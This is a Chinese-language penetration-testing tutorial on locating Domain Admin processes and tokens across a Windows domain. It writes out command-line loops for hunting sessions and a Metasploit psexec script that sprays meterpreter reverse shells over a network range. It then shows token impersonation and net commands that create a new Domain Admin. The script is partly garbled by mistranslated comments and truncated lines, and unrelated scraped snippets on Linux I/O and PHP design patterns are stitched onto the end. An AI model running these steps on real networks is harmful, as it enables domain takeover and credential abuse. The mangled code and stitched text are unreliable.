五种寻找 "Domain Admin" 运行的进程的方法

前言

当计算机加入到域后,默认将"Domain Admin"组赋予了本地系统管理员的权限。也就是说,在计算机添加到域,成为域的成员主机的过程中,系统将会自动把"Domain Admin"域组添加到本地的Administrators组中。因此,只要是Domain Admin组的成员均可访问本地计算机,而且具备"完全控制"的权限。

因此对于渗透测试人员来说,把"Domain Admin"域组添加到本地的Administrators组中是他们模拟域管理员帐户操作的常用方式。不过前提是,他们需要知道这些进程正在运行的系统。在本文中,五种寻找 "Domain Admin" 运行的进程的方法,其中涉及的技术包括:

1.本地检查;

2.查询活动域用户会话的域控制器;

3.扫描运行任务的远程系统;

4.扫描NETBIOS协议信息的远程系统

5.用于令牌验证的PSExec Shell喷洒远程系统

获取域管理权限

本文在大多数情况下,都将重点关注运行域管理进程的系统。不过即便如此,我还是要介绍一下很多渗透测试人员用来获取域管理员权限的标准过程。

1.识别目标系统和应用程序;

2.识别潜在的漏洞;

3.利用漏洞获取初始访问权限;

4.升级受感染系统的权限;

5.在本地或远程系统上找到域管理进程或身份验证令牌;

6.通过发送本地管理员的密码哈希,破解密码或使用mimikatz这样的工具来转储密码,来对运行域管理进程的远程系统进行身份验证;

7.进入到域管理过程;

8.创建一个域管理;

以上过程是渗透测试的通用步骤,所以没有必要值得多介绍。如果你对细节感兴趣,网上都有大量的教材。

查找域管理进程

以下就是我在网络上查到的查找域管理进程的5种技术。

技术1:本地检查

请务必首先检查最初被破坏的系统,如果你已经存在于域管理进程中,那么在网络上运行真的没什么意义了。以下是使用本机命令检查是否有任何域管理进程正在运行的简单方法:

1.运行以下命令以获取域管理员列表:net group “Domain Admins” /domain;

2.运行Tasklist /v命令以列出进程和进程用户,运行该过程的帐户应该在第7列;

3.将任务列表与域管理员列表交叉引用,查看你是否进入域管理进程中;

如果域管理进程始终是在最初受到攻击的系统上运行,那就太好了,但这属于理想的情况。所以接下来的四种技术将帮助你在各种情况下的远程域系统上找到域管理进程。

技巧2:查询域控制器的活动域用户会话

据我所知,这项技术是安全公司Netspi的原创技术。我们需要一种用来识别活动的域管理进程和登录,而不是在整个网络上执行shell喷洒或执行任何会引发“入侵检测系统”的扫描。最终,我发现只需简单地查询以获取一个活动域用户会话列表即可,然后将该列表与域管理列表交叉引用。唯一可能出现问题的环节,就是你必须查询所有的域控制器。下面是我提供的一些基本步骤,以获得具有域用户权限的活动域管理会话的系统列表。

1.使用LDAP查询或net命令从“域控制器”OU中收集域控制器的列表,以下是我用过的一个net命令:

net group “Domain Controllers” /domain

请注意:虽然OU是域控制器列表的最佳来源,但前提是,你要对受信任域完成枚举并监控这些域控制器的过程。或者,你可以通过DNS查找它们:Nslookup –type=SRV _ldap._tcp.

2.使用LDAP查询或net命令从“域管理员”组中收集域管理员的列表。以下是我用过的一个net命令:

net group “Domain Admins” /domain

3.通过使用Netsess.exe查询每个域控制器,收集所有活动域会话的列表。 Netsess工具是Joe Richards提供的一个很棒的工具,它里面包含了本地Windows函数“netsessionenum”。该函数可以返回活动会话的IP地址、域帐户、会话启动时间和空闲时间。以下是我用过的一个net命令:

Netsess.exe –h

4.将Domain Admin列表与活动会话列表交叉引用,以确定哪些IP地址上有活动的域令牌。在更安全的环境中,你可能需要等待具有域管理员权限的域管理员或服务帐户在网络上执行此操作。不过这意味着我需要多次运行这个过程,或者把它编写出来。下面是一个使用了netsess的非常快速和具有攻击力的Windows命令行脚本。

FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && 
FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a

不过请注意,dcs.txt有一个域控制器列表,admins.txt有一个Domain Admins列表。

为此,我编写了一个名为Get Domain Admins(GDA)的基本批处理脚本,它可以自动下载整个过程。readme文件中列出了其中的依赖关系,我还为Windows Dictionary攻击创建了一个名为Get Domain Users(GDU)的批处理文件,它具有和Get Domain Admins(GDA)相似的选项,不过具有更多的依赖关系。如果你感兴趣,可点击上面的链接下载。

技术3:扫描用于运行任务的远程系统

通常情况下,前两种方法已足以保证我取得成功。然而,山外有山,这第三种技术,就是我在LaNMSteR53的博客上看到的,我认为这是一个聪明的方法。当你在域系统上作为共享的本地管理员帐户运行时,就可以通过以下的脚本来扫描系统域管理任务。与以上的技术类似,你需要首先枚举Domain Admins。在下面的脚本中,ips.txt包含目标系统的列表,而names.txt包含域管理员的列表。

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

技术4:扫描NetBIOS信息的远程系统

某些Windows系统仍然允许用户通过NetBIOS查询查询登录用户,你可以使用本机nbtstat工具查询信息,在nbtstat结果中,用户名由“<03>”表示。

1.下面是另一个快速而具有攻击的Windows命令行脚本,它将扫描远程系统,找到活动的Domain Admins会话。注意:该脚本可以作为非域用户运行。

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

2.你也可以使用运行速度稍快的nbtscan工具,下面是另一个基本的脚本命令:

for /F %i in (ips.txt) do @echo[+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

技术5:用于身份验证令牌远程系统的PSExec Shell喷洒技术

Psexec“Shell spray”是在Metasploit中的Psexec模块的数百个系统上安装Shell(通常是meterpreter),从而使用共享的本地管理凭证。许多测试人员使用此方法与其他Metasploit功能一起来识别域管理令牌。虽然这是我最不喜欢的技术,但由于pentest社区的很多人都在积极使用它,我觉得我需要把它包括进来。不过,在运行环境中同时启动500个shell可能会导致客户的系统运行出现问题。确切的说,拥有500个shell意味着你可以更快地获取数据。下面是我见过很多人使用的步骤:

1.安装Metasploit 3.5及其以上版本;

2.将下面的脚本复制到一个文本文件中,并保存到Metasploit目录中作为psexec_spray.rc,它是我最初在Jabra的博客上发现的脚本。

#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z

#Setup凭证使用windows/smb/psexec设置SMBPass。

#Setup域作为本地主机,只有使用域凭据才能设置SMBDomain。在#Disable有效载荷处理程序的psexec模块中(使用多处理程序)用set DisablePayloadHandler true #Run Ruby代码扫描所需网络范围的使用的REX API属性:

range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require ‘rex/socket/range_walk

3.更新smbuser和smbpass参数;

4.发出msfconsole –r psexec_spray.rc命令来运行该脚本。psexec_spray.rc脚本将尝试使用所提供的凭证在每个系统的192.168.1.0/24网络中随意安装meterpreter shell。

5.然后,你可以使用Metasploit模块中的token_hunter来识别每个带shell

系统上的域管理令牌。步骤如下:

5.1 创建一个包含Domain Admins列表的文件,如下所示:COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin

5.2 在msfconsole msf> load token_hunter中加载token_hunter模块;

5.3 运行令牌捕获工具来列出包含域管理令牌的会话 msf> token_hunt_user -f /tmp/domain-admin.txt

6.或者,可以使用Sessions –s loggedin

命令从每个带shell的系统中获取当前登录用户的列表,并手动查找Domain Admins。

添加新的域管理员

如果你已经获取了meterpreter会话,则可以使用隐身模式来模拟域管理员,或者添加新的域管理员。隐身模式可以尝试通过遍历系统中所有可用的授权令牌来随意添加新的域管理员。下面是在meterpreter中执行该操作的基本命令。

1.使用load incongnito命令在你的活动meterpreter会话中加载隐身模式;

2.尝试利用以下命令,在系统上添加具有身份验证令牌的域管理员:

add_user -h 
add_group “”Domain Admins”” -h

如果你有兴趣使用其他选项创建新的域管理员,则可以使用以下说明:

1.在meterpreter控制台中,输入PS命令以查看进程;

2.在meterpreter控制台中,通过migrate命令找到域管理会话并进行迁移;

3.在meterpreter控制台中,输入shell命令获取OS shell;

4.输入以下本机Windows命令来添加新的域管理员:

net user /add /domain
net group “Domain Admins” /add /domain

总结

正如本文所述,有很多选项可用于识别域管理进程和身份验证令牌。我建议使用对系统影响较低的方法,相信随着时间的推移,人们会想出更好的想法。

原文地址:https://www.cnblogs.com/jianghongjie/p/9127376.html

时间: 2024-08-28 22:29:37

五种寻找 "Domain Admin" 运行的进程的方法的相关文章

Linux网络编程 五种I/O 模式及select、epoll方法的理解

Linux网络编程 五种I/O 模式及select.epoll方法的理解 web优化必须了解的原理之I/o的五种模型和web的三种工作模式 五种I/O 模式--阻塞(默认IO模式),非阻塞(常用语管道),I/O多路复用(IO多路复用的应用场景),信号I/O,异步I/OLinux网络编程 五种I/O 模式及select.epoll方法的理解

细说进程五种状态的生老病死——双胞胎兄弟Java线程

java线程的五种状态其实要真正高清,只需要明白计算机操作系统中进程的知识,原理都是相同的. 系统根据PCB结构中的状态值控制进程. 单CPU系统中,任一时刻处于执行状态的进程只有一个. 进程的五种状态:初始态,执行态,等待态,就绪态,终止态. 执行状态:一个进程获得了必要资源,并且在CPU上执行时的状态. 执行态进程因为等待某种事件的发生处于等待状态. 执行态进程的时间片用完或在抢占式调度中有更高优先级的进程时变为就绪状态. 阻塞原语:一个执行进程期待某一个事件的发生,但发生条件尚不具备,该进

转:Windows下的PHP开发环境搭建——PHP线程安全与非线程安全、Apache版本选择,及详解五种运行模式。

原文来自于:http://www.ituring.com.cn/article/128439 Windows下的PHP开发环境搭建——PHP线程安全与非线程安全.Apache版本选择,及详解五种运行模式. 今天为在Windows下建立PHP开发环境,在考虑下载何种PHP版本时,遭遇一些让我困惑的情况,为了解决这些困惑,不出意料地牵扯出更多让我困惑的问题. 为了将这些困惑一网打尽,我花了一下午加一晚上的时间查阅了大量资料,并做了一番实验后,终于把这些困惑全都搞得清清楚楚了. 说实话,之所以花了这么

Android 进程的五种生命周期学习

本节学习进程的生命周期: Android系统是尽可能的去保护每一个进程,但是最终需要为新的进程,或者很重要的进程释放以前的老进程.为了决定那个进程被保护,那个被杀死.Android系统根据当前进程中组件的状态,以及运行在进行中的组件决定保留那个,杀死那个进程.当然了系统资源短缺时,进程等级低的先杀死,以此类推. android系统中有五种进程等级: 1: 前台进程(前台进程有五种状态,只有其中一种满足就是前台进程,前台进程是很难被杀死的) a:拥有一个正在与用户交互的Activity(此时Act

Linux:检查当前运行级别的五种方法

运行级就是Linux操作系统当前正在运行的功能级别.存在七个运行级别,编号从0到6.系统可以引导到任何给定的运行级别.运行级别由数字标识. 每个运行级别指定不同的系统配置,并允许访问不同的进程组合.默认情况下,Linux会引导至运行级别3或运行级别5.启动时一次只执行一个运行级别.它不会一个接一个地执行.系统的默认运行级别在SysVinit系统的/etc/inittab文件中指定.但是systemd系统不读取此文件,它使用以下文件/etc/systemd/system/default.targe

【Linux】shell编程之给变量赋值的五种方法

1.  Shell中的变量类型 Shell中的变量可以分为环境变量.位置变量.预定义的特殊变量以及用户自定义变量. <!--[if !supportLists]-->2.  <!--[endif]-->环境变量 Shell中的环境变量是一类Shell预定义变量,是用于设置系统运行环境的变量,环境变量由系统统一命名.部分系统变量的值由系统设定,部分环境变量的值可以由用户给定. 环境变量的名称由大写字母组成,常用的Shell环境变量如下所示: HOME: 用户主目录的全路径名,cd $

五种常见的 PHP 设计模式

内容 设计模式 一书将设计模式引入软件社区,该书的作者是 Erich Gamma.Richard Helm.Ralph Johnson 和 John Vlissides Design(俗称 "四人帮").所介绍的设计模式背后的核心概念非常简单.经过多年的软件开发实践,Gamma 等人发现了某些具有固定设计的模式,就像建筑师设计房子和建筑物一样,可以为浴室的位置或厨房的构造方式开发模板.使用这些模板或者说设计模式 意味着可以更快地设计更好的建筑物.同样的概念也适用于软件. 设计模式不仅代

Linux五种IO模型性能分析

socket阻塞与非阻塞,同步与异步 作者:huangguisu 1. 概念理解 在进行网络编程时,我们常常见到同步(Sync)/异步(Async),阻塞(Block)/非阻塞(Unblock)四种调用方式:同步:      所谓同步,就是在发出一个功能调用时,在没有得到结果之前,该调用就不返回.也就是必须一件一件事做,等前一件做完了才能做下一件事. 例如普通B/S模式(同步):提交请求->等待服务器处理->处理完毕返回 这个期间客户端浏览器不能干任何事 异步:      异步的概念和同步相对

PHP V5 的五种常用设计模式

设计模式 一书将设计模式引入软件社区,该书的作者是 Erich Gamma.Richard Helm.Ralph Johnson 和 John Vlissides Design(俗称 "四人帮").所介绍的设计模式背后的核心概念非常简单.经过多年的软件开发实践,Gamma 等人发现了某些具有固定设计的模式,就像建筑师设计房子和建筑物一样,可以为浴室的位置或厨房的构造方式开发模板.使用这些模板或者说设计模式 意味着可以更快地设计更好的建筑物.同样的概念也适用于软件. 设计模式不仅代表着更